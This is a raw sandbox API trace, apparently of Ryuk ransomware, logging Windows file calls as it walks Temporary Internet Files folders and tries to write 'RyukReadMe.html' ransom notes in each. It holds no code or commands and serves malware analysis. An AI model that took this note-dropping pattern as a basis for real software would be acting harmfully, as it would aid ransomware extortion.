	[0266.853] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1
	[0266.853] SetLastError (dwErrCode=0x0) 
	[0266.853] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.853] GetLastError () returned 0x3
	[0266.853] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.854] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.854] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.854] SetLastError (dwErrCode=0x0) 
	[0266.854] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\mm5o9xqs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.854] GetLastError () returned 0x3
	[0266.854] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.854] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="PMMR5K9K", cAlternateFileName="")) returned 1
	[0266.854] SetLastError (dwErrCode=0x0) 
	[0266.854] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.854] GetLastError () returned 0x3
	[0266.854] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.855] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.855] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.855] SetLastError (dwErrCode=0x0) 
	[0266.855] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\pmmr5k9k\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.855] GetLastError () returned 0x3
	[0266.855] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.855] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="RIJUQL1C", cAlternateFileName="")) returned 1
	[0266.855] SetLastError (dwErrCode=0x0) 
	[0266.855] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.855] GetLastError () returned 0x3
	[0266.855] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.855] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.856] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.856] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.856] SetLastError (dwErrCode=0x0) 
	[0266.856] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\rijuql1c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.856] GetLastError () returned 0x3
	[0266.856] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.856] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 1
	[0266.856] SetLastError (dwErrCode=0x0) 
	[0266.856] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.856] GetLastError () returned 0x3
	[0266.856] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.857] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x218, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0266.857] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0266.857] SetLastError (dwErrCode=0x0) 
	[0266.857] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\x9ohk109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.857] GetLastError () returned 0x3
	[0266.857] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0266.857] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.857] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 0
	[0266.857] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.857] SetLastError (dwErrCode=0x0) 
	[0266.857] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.857] GetLastError () returned 0x3
	[0266.857] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0266.858] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.858] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Content.MSO", cAlternateFileName="")) returned 1
	[0266.858] SetLastError (dwErrCode=0x0) 
	[0266.858] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.858] GetLastError () returned 0xb7
	[0266.858] CloseHandle (hObject=0x988) returned 1
	[0266.858] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.859] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.859] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0266.859] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.859] SetLastError (dwErrCode=0x0) 
	[0266.859] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.mso\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.859] GetLastError () returned 0x3
	[0266.859] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0266.859] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.859] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1
	[0266.859] SetLastError (dwErrCode=0x0) 
	[0266.859] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.860] GetLastError () returned 0xb7
	[0266.860] CloseHandle (hObject=0x988) returned 1
	[0266.860] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29efe0
	[0266.860] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0266.860] FindNextFileW (in: hFindFile=0x29efe0, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0266.860] FindClose (in: hFindFile=0x29efe0 | out: hFindFile=0x29efe0) returned 1
	[0266.861] SetLastError (dwErrCode=0x0) 
	[0266.861] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\content.word\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0266.861] GetLastError () returned 0x3
	[0266.861] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0266.861] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0266.861] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0266.861] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6ad7e7f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x6ad7e7f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1cc, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0266.861] SetLastError (dwErrCode=0x0) 
	[0266.861] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x988
	[0266.861] GetLastError () returned 0xb7
	[0266.861] CloseHandle (hObject=0x988) returned 1
